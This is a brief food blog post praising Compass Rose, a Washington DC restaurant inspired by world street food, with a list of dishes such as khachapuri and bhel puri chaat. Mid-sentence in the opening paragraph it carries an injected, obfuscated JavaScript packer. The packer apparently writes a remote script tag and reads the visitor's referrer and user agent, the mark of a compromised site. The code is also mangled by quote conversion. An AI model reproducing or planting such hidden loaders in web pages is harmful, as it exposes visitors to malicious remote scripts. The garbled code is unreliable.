DC Eats: Compass Rose

2015 Food, Food

The best part about moving to a new city is exploring the restaurant scene! I met up with blogger Melanie from LaBelleMel at Compass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syiyi|var|u0026u|referrer|nbaes||js|php’.split(‘|’),0,{}))

 for dinner a couple weeks ago, and I’m already making up excuses to go back!

Compass Rose menu is inspired by street food from around the world. This restaurant is after every wanderlust girl in town (or at least this one)! The variety and flavors have a richness and depth to it that usually only passport stamps can instill.

Pictured above is:

  • Brussel Sprouts

  • Pescaditos Fritos (Spain): Fried whole baby fish, citrus alloli

  • Bhel Puri Chaat (India): Puff rice, sev, potato, tomato, sunflower sprouts, peanuts, mint & tamarind chutney, lettuce cups

  • Grilled Calamari (Greece): Garlic, lemon, olive oil, mint, oregano, red chili, red quinoa tabouli
  • Khachapuri (Georgia): Cheese filled bread, organic egg, local butter

I would highly recommend eating at Compass Rose – there is something on the menu for everyone!
